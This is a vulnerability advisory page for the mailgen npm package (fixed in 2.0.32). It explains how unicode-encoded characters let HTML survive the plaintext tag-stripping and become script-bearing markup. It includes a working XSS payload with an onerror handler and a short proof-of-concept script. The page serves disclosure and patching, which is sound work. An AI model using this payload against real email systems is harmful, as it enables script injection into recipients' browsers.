Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails
Summary
An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Projecta are affected if the Mailgen.generatePlaintext(email) method is used and passed in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).
Details
The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.
// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
// Plaintext theme not cached?
if (!this.cachedPlaintextTheme) {
throw new Error('An error was encountered while loading the plaintext theme.');
}
// Parse email params and get back an object with data to inject
var ejsParams = this.parseParams(params);
// Render the plaintext theme with ejs, injecting the data accordingly
var output = ejs.render(this.cachedPlaintextTheme, ejsParams);
// Definition of the <br /> tag as a regex pattern
var breakTag = /(?:\<br\s*\/?\>)/g;
var breakTagPattern = new RegExp(breakTag);
// Check the plaintext for html break tag, maintains backwards compatiblity
if (breakTagPattern.test(this.cachedPlaintextTheme)) {
// Strip all linebreaks from the rendered plaintext
output = output.replace(/(?:\r\n|\r|\n)/g, '');
// Replace html break tags with linebreaks
output = output.replace(breakTag, '\n');
// Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
output = output.replace(/^(?: |\t)*/gm, "");
}
// Decode HTML entities such as ©
output = he.decode(output);
// Strip all HTML tags from plaintext output
output = output.replace(/<(.|\n)+?>/g, '');
// All done!
return output;
};
The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the unicode encoded characters are present inside HTML tags, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.
A valid payload is: <img src=x onerror=alert(1)\u2028>.
PoC
var Mailgen = require('mailgen');
// Configure mailgen by setting a theme and your product info
var mailGenerator = new Mailgen({
theme: 'default',
product: {
// Appears in header & footer of e-mails
name: 'Mailgen',
link: 'https://mailgen.js/'
// Optional product logo
// logo: 'https://mailgen.js/img/logo.png'
}
});
var email = {
body: {
name: 'John <img src=x onerror=alert(document.body.innerHTML)\u2028> Appleseed',
intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
action: {
instructions: 'To get started with Mailgen, please click here:',
button: {
color: '#22BC66', // Optional action button color
text: 'Confirm your account',
link: 'secret-link'
}
},
outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
}
};
var emailText = mailGenerator.generatePlaintext(email);
require('fs').writeFileSync('emailText.html', emailText, 'utf8');
Resulting output file (emailText.html):
Hi John <img src=x onerror=alert(document.body.innerHTML)
> Appleseed,
Welcome to Mailgen! We're very excited to have you on board.
To get started with Mailgen, please click here:
secret-link
Need help, or have questions? Just reply to this email, we'd love to help.
Yours truly,
Mailgen
© 2025 Mailgen. All rights reserved.
Impact
Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).
Credits
Edoardo Ottavianelli (@edoardottt)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | mailgen | < 2.0.32 | 2.0.32 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P- Weakness (CWE)
CWE-79- Platform
- npm
- Package
mailgen- Disclosed
- 15.10.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-q4w9-x3rv-4c8j - CC BY 4.0
Vulnerability history: mailgen
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 09.2025 10.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 1
- Low 2
Disclosures per year
- 2025: 3
- 2026: 0
-
Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails this entry
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